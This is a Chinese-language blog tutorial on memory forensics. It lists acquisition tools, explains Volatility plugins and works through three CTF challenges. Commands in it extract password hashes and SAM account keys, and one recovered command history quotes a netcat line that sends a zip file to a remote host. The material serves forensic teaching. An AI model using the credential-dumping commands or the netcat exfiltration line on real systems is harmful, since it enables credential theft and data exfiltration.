概述
![0e24777a2569dad71091be9ed64a4581.png](https://file2.kaopuke.com:8081/files_image/2023060518/0e24777a2569dad71091be9ed64a4581.png)
沙漏安全团队
欢迎真正热爱技术的你!
简介: 网络与信息技术的加速渗透和深度应用以及软件漏洞不断涌现,导致网络攻击和网络犯罪频发,造成了严重的网络安全威胁.计算机取证是打击计算机与网络犯罪的关键技术,其目的是将犯罪者留在计算机中的“攻击痕迹”提取出来,作为有效的诉讼证据提供给法庭,以便将犯罪嫌疑人绳之以法。作为一种实时提取数字证据、对抗网络攻击、打击网络犯罪的有力武器,内存取证已成为信息安全领域研究者所共同关注的热点。
基于硬件的内存获取内存的获取方法:
基于软件的内存获取
Windows操作系统平台支持内存获取的常见工具有:
DumpIt (早期版本名为Win32dd)
Belkasoft RAMCapturer
Magnet RAM Capture
WinEn
Winpmem
EnCase Imager
FTK Imager
取证大师
取证神探
Linux操作系统常见的内存获取工具:
dd (适合Linux早期版本)
LiME http://code.google.com/p/lime-forensics/
linpmem
Draugr http://code.google.com/p/draugr/
Volatilitux http://code.google.com/p/volatilitux/
Memfetch http://lcamtuf.coredump.cx/
Memdump
MacOSX操作系统内存获取工具有:
MacMemoryReader
osxpmem
Recon for Mac OSX
Blackbag MacQuisitio
得到内存之后就是最重要的一步,就是内存取证分析。
内存分析技术
Windows操作系统获取出的物理内存镜像需要使用专门的内存分析工具。常见的内存分析工具有Volatility、Rekall、Forensic Toolkit(FTK)、取证大师及取证神探等,可以解析出常见的基本信息,包括进程信息、网络连接、加载的DLL文件及注册表加载信息等。
在这里笔者使用的是volalitity取证工具(新版本的kail好像已经没有这个软件,需要自行下载)
常用插件:
imageinfo:显示目标镜像的摘要信息,知道镜像的操作系统后,就可以在 –profile 中带上对应的操作系统
pslist:该插件列举出系统进程,但它不能检测到隐藏或者解链的进程,psscan可以
psscan:可以找到先前已终止(不活动)的进程以及被rootkit隐藏或解链的进程
pstree:以树的形式查看进程列表,和pslist一样,也无法检测隐藏或解链的进程
mendump:提取出指定进程,常用foremost 来分离里面的文件
filescan:扫描所有的文件列表
hashdump:查看当前操作系统中的 password hash,例如 Windows 的 SAM 文件内容
svcscan:扫描 Windows 的服务
connscan:查看网络连接
Volatility语法规则
python2 vol.py --help //使用-h或者–help可以列举出所有可用的选项以及插件
![fef1e243c17e86b4b6e5dde7af5cb529.png](https://file2.kaopuke.com:8081/files_image/2023060518/fef1e243c17e86b4b6e5dde7af5cb529.png)
python2 vol.py --info //–info可以打印出所有已经注册的对象(插件)
![b931a0d8a11dc837604594912a15ab84.png](https://file2.kaopuke.com:8081/files_image/2023060518/b931a0d8a11dc837604594912a15ab84.png)
Profiles对于windows的内存取证来说至关重要。
Profiles(配置文件)
profile是特定操作系统版本以及硬件体系结构(x86,x64,ARM)中VTypes,共用体,对象类型的集合.除了这些组件以外,profile还包括如下:
元数据:操作系统的名称(例如:”windows”,”mac”,”linux”),内核版本,以及编译号.
系统调用信息:索引以及系统调用的名称
常量值:全局变量-在某些操作系统中能够在硬编码的地址处找到的全局变量
系统映射:关键全局变量和函数的地址(仅限Linux和Mac)
每个profile(配置文件)有个一个唯一的名称,通常是由操作系统的名称,版本,服务包,系统结构等信息组成.例如:Win7SP1x64是64位的Windows 7 SP1系统配置文件的名称。
常规命令格式
python2 vol.py -f --profile= [插件参数]
栗子:
python vol.py -f lemon.raw --profile=Win7SP1x86 volshell
但是--profile如何确定配置文件呢?
如果我们不指定–profile这个选项的话,默认这个选项为WinXPSP2x86.
我们可以使用imageinfo插件来猜测dump文件的profile值.
python2 vol.py -f lemon.raw imageinfo
![43bdef0292e09d7b6213f8261b9a5cfd.png](https://file2.kaopuke.com:8081/files_image/2023060518/43bdef0292e09d7b6213f8261b9a5cfd.png)
我们可以注意到这里有多个profile值可选.因为这些操作系统的很多特性都是类似的.imageinfo这个插件猜测profile值的功能是基于kdbgscan这个插件的功能来实现的.而kdbgscan这个插件是通过查找分析内核调试器数据块(_KDDEBUGGER_DATA64)的特征来猜测profile值的。
调试器数据结构位于NT内核模块中(nt!KdDebuggerDataBlock).它包含一个编译字符串,比如:3790.srv03_sp2_rtm.070216-1710,数字值指明了目标操作系统的主,次版本号以及服务包号。
kdbgscan插件扫描dump文件的profile值
![3bc2401078e9f0362d9d56e37bf4876a.png](https://file2.kaopuke.com:8081/files_image/2023060518/3bc2401078e9f0362d9d56e37bf4876a.png)
可以看到有多个结果,通常来说第一个结果是正确的.imageinfo,kdbgscan这两个插件仅适用于Windows系统的内存dump文件.而Linux,Mac确定正确的profile值有其他的方法.
现在我们就可以指定profile这个选项的值了.
python2 vol.py -f 1emon.raw --profile=Win7SP1x86_23418
volshell
volshell这个插件用于进入Volatility专属的shell.在该shell中可以利用dt(“内核关键数据结构名称”)命令来查看操作系统内核关键数据结构的定义
列举进程
python2 vol.py -f 1emon.raw --profile=Win7SP1x86_23418
pslist
![973826ac8caeeee6ce717b6c7627a553.png](https://file2.kaopuke.com:8081/files_image/2023060518/973826ac8caeeee6ce717b6c7627a553.png)
开始时间进程数,占用进程名称.但是pslist这个命令无法显示出隐藏的进程。
查看当前显示的notepad文本 | python2 vol.py -f file.raw --profile=WinXPSP2x86 notepad |
进程里面可能会隐藏flag等关键信息,可以使用以下命令查看dump | strings -e l 252.dmp | grep flag -e的参数为编码方式,其中l为16-bit编码 |
扫描所有的文件列表(常常结合grep) | python2 vol.py -f file.raw --profile=WinXPSP2x86 filescan |
根据offset提取出文件 | python2 vol.py -f file.raw --profile=WinXPSP2x86 dumpfiles -D . -Q 0x….. |
扫描 Windows 的服务 | python2 vol.py -f file.raw --profile=WinXPSP2x86 svcscan |
查看网络连接 | python2 vol.py -f file.raw --profile=WinXPSP2x86 connscan |
查看命令行上的操作 | python2 vol.py -f file.raw --profile=WinXPSP2x86 cmdscan |
根据pid dump出相应的进程 | python2 vol.py -f file.raw --profile=WinXPSP2x86 memdump -p 2580 -D 目录 //-p 的参数为进程ID-D 的参数为保存文件的路径 |
查看网络通讯连接 | python2 vol.py -f file.raw --profile=WinXPSP2x86 netscan |
查看最后关机时间 | python2 vol.py -f file.raw --profile=WinXPSP2x86 shutdowntime |
查看Windows帐户hash | python2 vol.py -f file.raw --profile=WinXPSP2x86 hashdump |
进程里面可能会隐藏flag等关键信息,可以使用以下命令查看dump
strings -e l 252.dmp | grep flag //-e的参数为编码方式,其中l为16-bit编码
列举注册表
volatility -f 1.raw --profile=Win7SP1x86 hivelist
导出注册表volatility -f 1.raw --profile=Win7SP1x86 hivedump -o 0x93fc41e8(注册表的 virtual 地址)
获取浏览器浏览历史
volatility -f 1.raw --profile=Win7SP1x86 iehistory
扫描文件
volatility -f 1.raw --profile=Win7SP1x86 filescan | grep flag //filescan会扫描内存中所有文件
如果要提取的话,使用dumpfiles提取文件volatility -f 1.raw --profile=Win7SP1x86 dumpfiles -Q 0x000000003e71e608 --dump-dir=./
-Q的参数为 内存地址
--dump-dir的参数为导出文件的目录
列举用户及密码
volatility -f 1.raw --profile=Win7SP1x86 printkey -K "SAMDomainsAccountUsersNames"
获取最后登陆系统的用户
volatility -f 1.raw --profile=Win7SP1x86 printkey -K "SOFTWAREMicrosoftWindows NTCurrentVersionWinlogon"
上面的命令就不详细的操作了。
下面开始做一些题,以练促学。
V&N 2020 公开赛 内存取证
下载raw文件,拉进kail
![3a211391cd17115519b7e87a234fe645.png](https://file2.kaopuke.com:8081/files_image/2023060518/3a211391cd17115519b7e87a234fe645.png)
得到镜像信息。
查看进程
![eca864c087bff7e8e1f2a58751bcedcc.png](https://file2.kaopuke.com:8081/files_image/2023060518/eca864c087bff7e8e1f2a58751bcedcc.png)
有几个可疑的进程
Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit
---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0x83c0ad40 TrueCrypt.exe 3364 3188 7 388 1 0 2020-02-18 19:52:44 UTC+0000
0x837f5d40 notepad.exe 3552 1964 2 61 1 0 2020-02-18 19:53:07 UTC+0000
0x82a7e568 iexplore.exe 3640 1964 16 468 1 0 2020-02-18 19:53:29 UTC+0000
0x847c8030 iexplore.exe 3696 3640 25 610 1 0 2020-02-18 19:53:29 UTC+0000
0x848a7030 mspaint.exe 2648 1964 18 383 1 0 2020-02-18 19:54:01 UTC+0000
0x83922030 DumpIt.exe 1500 1964 2 39 1 0 2020-02-18 19:56:22 UTC+0000
TrueCrypt 一个磁盘软件
notepad 万能的记事本
iexplore 浏览器
mspaint 画图
DumpIt 内存读取工具
python2 vol.py -f mem.raw --profile=Win7SP1x64 memdump -p 2648 -D ./
换个思维想,谁又会无端打开画图工具,我们先把可疑的进程都dump下来。
又查看了浏览器的历史记录
![6ee0d0201dea58b13147b07b6b772cb2.png](https://file2.kaopuke.com:8081/files_image/2023060518/6ee0d0201dea58b13147b07b6b772cb2.png)
得到一个云盘链接,应该是那个VOL的下载链接吧!
在前面我们讲画图程序dump下来了,改一下后缀2648.dmp为2648.data。
然后用gimp配合使用。
![47966cc3cb5e2190890ae55836819e01.png](https://file2.kaopuke.com:8081/files_image/2023060518/47966cc3cb5e2190890ae55836819e01.png)
得到一个字符串1YxfCQ6goYBD6Q
然后用命令对记事本的内容进行dump
python2 vol.py -f mem.raw --profile=Win7SP1x86_23418 editbox
![a2bcdf5d9fd781b845a33344dbb86efe.png](https://file2.kaopuke.com:8081/files_image/2023060518/a2bcdf5d9fd781b845a33344dbb86efe.png)
得到了云盘链接和提取码,下载是个VOL文件。
接下来用工具EFDD
![a4893703bd409cdd3eef646cb451846f.png](https://file2.kaopuke.com:8081/files_image/2023060518/a4893703bd409cdd3eef646cb451846f.png)
![2cb31c1f93e47b1d2acf6e6ee1d0863b.png](https://file2.kaopuke.com:8081/files_image/2023060518/2cb31c1f93e47b1d2acf6e6ee1d0863b.png)
![ad341e4b31f8b0f11cdd74c5b3de027e.png](https://file2.kaopuke.com:8081/files_image/2023060518/ad341e4b31f8b0f11cdd74c5b3de027e.png)
![61e2b71a80fcd4ded2203a5dd8e5bf11.png](https://file2.kaopuke.com:8081/files_image/2023060518/61e2b71a80fcd4ded2203a5dd8e5bf11.png)
![818f73c81107d0354f1581c1c445f2bf.png](https://file2.kaopuke.com:8081/files_image/2023060518/818f73c81107d0354f1581c1c445f2bf.png)
![66991ee6a6bda864cf0457d46c585074.png](https://file2.kaopuke.com:8081/files_image/2023060518/66991ee6a6bda864cf0457d46c585074.png)
![549e8148d4c98ded674f5f61af981107.png](https://file2.kaopuke.com:8081/files_image/2023060518/549e8148d4c98ded674f5f61af981107.png)
访问F盘
![35a0a1240f2bcc8abded49ed3c39fa7a.png](https://file2.kaopuke.com:8081/files_image/2023060518/35a0a1240f2bcc8abded49ed3c39fa7a.png)
得到了一串字符。
下一步就是使用TrueCrypt
![07c7e231cf2a467c3d063760f1e506d7.png](https://file2.kaopuke.com:8081/files_image/2023060518/07c7e231cf2a467c3d063760f1e506d7.png)
将刚刚key里的字符串输入进去,挂载成功。
![e6d6c2148a4bbef1534eafb8a34adf0f.png](https://file2.kaopuke.com:8081/files_image/2023060518/e6d6c2148a4bbef1534eafb8a34adf0f.png)
画图得到的字符串就是密码
![d39dd7eb38a5a88af37c142c49e7397b.png](https://file2.kaopuke.com:8081/files_image/2023060518/d39dd7eb38a5a88af37c142c49e7397b.png)
得到了flag。、
不得不说套娃真的是服了。
easy_dump
![6188edb9c57a80b14911c6265827b2f5.png](https://file2.kaopuke.com:8081/files_image/2023060518/6188edb9c57a80b14911c6265827b2f5.png)
查看一下信息。
列出进程。
查看一下有没有可疑的进程,然后dump下来。
这里我将记事本dump下来。
python2 vol.py -f easy_dump.img --profile=Win7SP1x64 memdump -p 2616 -D ./
然后再用命令:strings -e l 2616.dmp | grep "flag"
去2616里找flag。
![0f972d46d6743ba747a74ebeeff76741.png](https://file2.kaopuke.com:8081/files_image/2023060518/0f972d46d6743ba747a74ebeeff76741.png)
flag没有但是有奇怪的照片。
python2 vol.py -f easy_dump.img --profile=Win7SP1x64 filescan | grep "jpg"
去找jpg图片
![637b3441cf5c2201273db49de57615cf.png](https://file2.kaopuke.com:8081/files_image/2023060518/637b3441cf5c2201273db49de57615cf.png)
使用命令:python2 vol.py -f easy_dump.img --profile=Win7SP1x64 dumpfiles -Q 0x000000002408c460 -D ./
将图片dump下载过来。
打开也没什么东西。
![e171ec0d61ba83fa02e30f5ff3a4c401.png](https://file2.kaopuke.com:8081/files_image/2023060518/e171ec0d61ba83fa02e30f5ff3a4c401.png)
binwalk看一下发现里面还有一个zip文件。
那麽就用foremost将其分离出来。
![6a88d9b0b6f2220798f00cba75491c44.png](https://file2.kaopuke.com:8081/files_image/2023060518/6a88d9b0b6f2220798f00cba75491c44.png)
分离出来还是打不开。
再次使用foremost却没有成功,试了一下binwalk分离,成功的得到了hints.txt文件。
![16d5b881205e41f4cbde89735c3858be.png](https://file2.kaopuke.com:8081/files_image/2023060518/16d5b881205e41f4cbde89735c3858be.png)
类似于坐标。
import matplotlib.pyplot as plt
import numpy as np
x = []
y = []
with open('hint.txt','r') as f:
datas = f.readlines()
for data in datas:
arr = data.split(' ')
x.append(int(arr[0]))
y.append(int(arr[1]))
plt.plot(x,y,'ks',ms=1)
plt.show()
脚本转换。
![5f111a31f5595d2f62a9aa90a3b225af.png](https://file2.kaopuke.com:8081/files_image/2023060518/5f111a31f5595d2f62a9aa90a3b225af.png)
手机扫了以下,主要内容key:aeolus,但是他把加密文件删除了。
这里使用testdisk这个工具(kali自带)来恢复被删除的文件。
输入:testdisk xxx 即可进入软件内部操作
Proceed:继续
Quit:退出,关闭
[ Analyse ] 分析正确的分区结构并找到丢失的分区表
[ Advanced ] 文件系统工具
[ Geometry ] 更改硬盘类型
[ Options ] 修改高级选项
[ Quit ] 返回到硬盘检测
[ Type ] :改变文件系统的类型,这种修改并不会真正改变硬盘上的真正格式。
[Superblock] :列出超级块,这是文件系统的基本元数据。
[ List ] :列出所有文件,并复制(恢复)出来
[Image Creation] :对当前分区创建镜像文件
[ Quit ]:退出,返回
红色文件就表示已经删除的文件。当然你也可以选择一个红色的目录,表示恢复整个目录。
最终找到了被删除的文件
![6d49824fec08ce6520e9dc7199651347.png](https://file2.kaopuke.com:8081/files_image/2023060518/6d49824fec08ce6520e9dc7199651347.png)
选择红色文件,小写c选择导出路径。
![6ea39d374b6965d91338946539c0d4ba.png](https://file2.kaopuke.com:8081/files_image/2023060518/6ea39d374b6965d91338946539c0d4ba.png)
成功导出。
![75e89e21a526771b39c3ab7e9e60d49b.png](https://file2.kaopuke.com:8081/files_image/2023060518/75e89e21a526771b39c3ab7e9e60d49b.png)
维吉尼亚解密字符串yise!dmsx_tthv_arr_didvi就可以得到flag。
![ca0aa1755d527089cd615a48bedf7d9e.png](https://file2.kaopuke.com:8081/files_image/2023060518/ca0aa1755d527089cd615a48bedf7d9e.png)
内存取证三项CTF
![5ca162c0bcba5c6391424ac99e5a4314.png](https://file2.kaopuke.com:8081/files_image/2023060518/5ca162c0bcba5c6391424ac99e5a4314.png)
题目说明了是取证题。
python2 vol.py -f 1.raw imageinfo //查看配置信息
![28cba3dead238506724c62a2ba385249.png](https://file2.kaopuke.com:8081/files_image/2023060518/28cba3dead238506724c62a2ba385249.png)
第一问写的什么,那就打开记事本
python2 vol.py -f 1.raw --profile=WinXPSP2x86 notepad
得到文本:666C61677B57336C6563306D655F376F5F466F72336E356963737D
观察只有0-9,字母最多知道F,十六进制(base16),可能是base16
![fa2766c87dde5c793974f4ebead18b1f.png](https://file2.kaopuke.com:8081/files_image/2023060518/fa2766c87dde5c793974f4ebead18b1f.png)
第一问解决。
小白的密码,我们可以使用hashdump查看
python2 vol.py -f 1.raw --profile=WinXPSP2x86 hashdump
![0e18702c87c4f05cde59cd8475c843c2.png](https://file2.kaopuke.com:8081/files_image/2023060518/0e18702c87c4f05cde59cd8475c843c2.png)
对:1e581aafa474dfadfdf83fc31e4fd4ea解密。
flag{19950101}
机密文件是什么?
小白的电脑给小黑的电脑发送了文件,肯定会建立连接。
python2 vol.py -f 1.raw --profile=WinXPSP2x86 connscan
![3282b9c423d76cc2d45023299d1cc4cf.png](https://file2.kaopuke.com:8081/files_image/2023060518/3282b9c423d76cc2d45023299d1cc4cf.png)
本机192.168.57.21的1045与远程主机192.168.57.14的2333端口建立了连接,进程120.
python2 vol.py -f 1.raw --profile=WinXPSP2x86 pslist
列出进程。
![fa8b7daa35f3e41bbb6ff5c0387123a4.png](https://file2.kaopuke.com:8081/files_image/2023060518/fa8b7daa35f3e41bbb6ff5c0387123a4.png)
cmd进程也有
python2 vol.py -f 1.raw --profile=WinXPSP2x86 cmdscan //提取cmd命令记录
![bf038eff7eb982ec669c7753fada6d44.png](https://file2.kaopuke.com:8081/files_image/2023060518/bf038eff7eb982ec669c7753fada6d44.png)
第一个命令就有问题了。
ipconfig
cd C:Program FilesNetcat
nc 192.168.57.14 2333 < P@ssW0rd_is_y0ur_bir7hd4y.zip
发送了一个压缩包。
python2 vol.py -f 1.raw --profile=WinXPSP2x86 memdump -p 120 -D ./
使用命令dump下来,并用binwalk 分析一下
![a6606d0ee6c9208055e73956adccedf0.png](https://file2.kaopuke.com:8081/files_image/2023060518/a6606d0ee6c9208055e73956adccedf0.png)
里面还有个txt文本
![2012dc1389e9e0886669409b6acd8516.png](https://file2.kaopuke.com:8081/files_image/2023060518/2012dc1389e9e0886669409b6acd8516.png)
还有六个压缩包。
进output文件夹里 ls
解压第一个文件时提示需要密码
![dc40287de3039acdbe485dd8320cf4d6.png](https://file2.kaopuke.com:8081/files_image/2023060518/dc40287de3039acdbe485dd8320cf4d6.png)
用刚刚的弱口令出生年月就可以解压得到P@ssW0rd_is_y0ur_bir7hd4y.txt
flag{Thi5_Is_s3cr3t!}
内存取证就结束了,以后加油!
![870fe996f6ff2639387115f9b3910409.png](https://file2.kaopuke.com:8081/files_image/2023060518/870fe996f6ff2639387115f9b3910409.png)
平顶山学院· 沙漏安全团队
微信号|SLteam666
奋发努力|拼搏向上
本期编辑|bosounho
最后
以上就是潇洒抽屉为你收集整理的linux 内存取证_浅谈网络安全之内存取证的全部内容,希望文章能够帮你解决linux 内存取证_浅谈网络安全之内存取证所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复